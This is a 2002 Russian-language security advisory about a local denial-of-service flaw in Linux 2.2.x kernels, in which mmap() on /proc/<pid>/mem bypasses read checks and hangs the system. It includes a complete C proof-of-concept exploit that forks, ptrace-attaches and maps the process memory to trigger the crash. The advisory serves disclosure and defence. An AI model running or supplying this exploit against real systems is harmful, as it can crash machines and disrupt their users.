Security Lab

Уязвимость в Linux 2.2.xx /proc/<pid>/mem mmap()

Дата публикации:20.12.2002
Всего просмотров:1577
Опасность:
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Описание: Локальная системная уязвимость аварийного отказа присутствует в Linux ядре 2.2.x. Система, вероятно, зависнет и потребуется ручная перезагрузка.

Интерфейс /proc/pid/mem предназначен, чтобы разрешить одному приложению, при некоторых условиях, обратиться к памяти другого приложения. Эта особенность очень полезна для разработчиков или администраторов, которые желают отладить или анализировать программы, выполняющиеся на их системе. Один из способов обратится к памяти непосредственно, использовать mmap().

Уязвимость обнаружена в способе, которым этот процесс подтверждает правильность. Уязвимость позволяет пользователю, используя mmap() интерфейс, чтобы обратиться к страницам памяти, которые нечитаемы прослеживаемым процессом. Пользователь может передать параметр PROT_READ для этого запроса, чтобы запросить доступ для чтения к этому отображению. Из-за недостаточной проверки правильности, он получит такой доступ. Это приведет к краху системы.

Эксплоит:

#define PAGES 10

   #include <asm/page.h>
   #include <sys/mman.h>
   #include <unistd.h>
   #include <stdio.h>
   #include <fcntl.h>
   #include <sys/ptrace.h>

   int main() {
     int ad1,ad2,zer,mem,pid,i;
     zer=open("/dev/zero",O_RDONLY);
     ad1=(int)mmap(0,PAGES*PAGE_SIZE,0,MAP_PRIVATE,zer,0);
     pid=getpid();
     if (!fork()) {
       char p[64];
       ptrace(PTRACE_ATTACH,pid,0,0);
       sleep(1);
       sprintf(p,"/proc/%d/mem",pid);
       mem=open(p,O_RDONLY);
       ad2=(int)mmap(0,PAGES*PAGE_SIZE,PROT_READ,MAP_PRIVATE,mem,ad1);
       write(1,(char*)ad2,PAGES*PAGE_SIZE);
     }
     sleep(100);
     return 0;
   }

Уязвимость обнаружена в LiNUX Kernel 2.2.x
Ссылки: RAZOR advisory: Linux kernel 2.2.x /proc/pid/mem mmap() vulnerability